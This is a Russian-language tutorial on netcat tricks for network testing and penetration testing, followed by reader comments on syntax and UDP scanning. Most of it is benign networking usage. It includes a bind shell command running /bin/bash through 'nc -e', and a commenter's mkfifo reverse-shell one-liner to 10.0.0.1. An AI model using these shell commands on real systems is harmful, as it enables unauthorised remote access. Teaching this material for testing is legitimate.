image

 
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:


  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.


Практические примеры


Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:


Проверка наличия открытого TCP-порта 12345


$ nc -vn 192.168.1.100 12345

nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22

Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:


$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 [tcp/*] succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.


Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560

Connection to 192.168.1.100 port 5555 [udp/*] succeeded!

Отправка UDP-пакета


$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.


Прием данных на UDP-порту и вывод принятых данных


$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt

nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.


Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами


На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.


Реверс-шелл


С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

Комментарии (12)


  1. danfe
    30.08.2017 15:45

    Большинство этих или аналогичных примеров есть в man nc(1). Кроме того, вы описываете «старую» (ну или «классическую», если угодно) версию нетката (синтаксис -lp, небезопасная опция -e), которая отличается от современных реализаций (например, OpenBSD'шной); та же убунта, кстати, об этом сразу предупреждает:

    This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.
    Многие ваши примеры просто не заработают с дефолтной версией большинства актуальных дистрибутивов *nix.


    1. GH0st3rs
      30.08.2017 16:02

      Ну я бы не был так категоричен, у меня не запустился только пример с -e
      остальные работают


      1. danfe
        30.08.2017 16:22
        +1

        Решил еще раз проверить: те примеры, где используется -lp, не заработают на FreeBSD (любых последних версий) и Ubuntu 10.04.4 LTS, однако на новой убунте и минте работают (и там из мануала исчезла приписка, что it is an error to use this option [-p] in conjunction with the -l option).

        В любом случае, автору имхо стоило уделить немного внимания отличиям реализаций нетката в разных операционных системах (в т.ч. разных версий), или хотя бы указать конкретную систему, под которую писались примеры.


      1. fil9
        01.09.2017 21:48
        +1

        И без флага -e работает :)
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


    1. LukaSafonov Автор
      30.08.2017 17:54
      -1

      Большинство работает на debian/ubuntu последних веток.


  1. danfe
    30.08.2017 18:41

    Да, видимо, -lp там решили восстановить в правах, чтобы не анноить finger memory пользователей, привыкших к старому синтаксису, но 1) одними новыми линуксами мир *nix не ограничивается (пусть даже *BSD суммарно менее популярны, но вы же сами пишете, что netcat это утилита Unix), а значит 2) было бы не лишним рассказать об этих различиях.

    Ну и повторюсь: приведенные примеры в том или ином виде уже и так есть на странице руководства.


  1. pansa
    30.08.2017 19:24

    А как происходит проверка UDP «соединения»? Не понятно.
    Просто у меня можно подставлять любые хосты, любые порты и всегда будет типа
    Connection to 192.168.20.44 1 port [udp/*] succeeded!


    1. LukaSafonov Автор
      30.08.2017 19:54
      +1

      Можно посылать пустые UDP-пакеты и ожидать в ответ ICMP-сообщения «port unreachable». Если не получено никаких сообщений в ответ, порт считается открытым. Если возвращаемые ICMP-сообщения блокируются брандмауэром, это может означать, что все UDP-порты хоста открыты. Также, если UDP-трафик непосредственно блокируется брандмауэром, это по-прежнему означает, что все UDP-порты открыты. Поскольку UDP-протокол работает без установления соединения и не ограничен необходимостью подтверждения получения входящих пакетов, нет полного решения этой проблемы.


      1. pansa
        31.08.2017 02:29
        +1

        Спасибо. Возможно, этот тонкий момент стоило затронуть в статье.

        Кстати, в linux есть простой способ отправить данные по TCP/UDP, тоже без рута:
        echo «hello» > /dev/udp/127.0.0.1/53
        echo «hello» > /dev/tcp/127.0.0.1/80


  1. isnofreedom
    30.08.2017 22:37

    Android(Termux) всё работает, официально подтверждаю.


  1. Jon7
    30.08.2017 22:46

    NetCat не очень интересен, гораздо интереснее трюки с socat (SOcket CAT), у него больше возможностей, у него не простая документация, в общем "вкусная" утилита.


  1. axmetishe
    31.08.2017 09:06

    Прием данных на UDP-порту и вывод принятых данных
    $ nc -u localhost 7777

    нехватает: -l Bind and listen for incoming connections
    nc -lu localhost 7777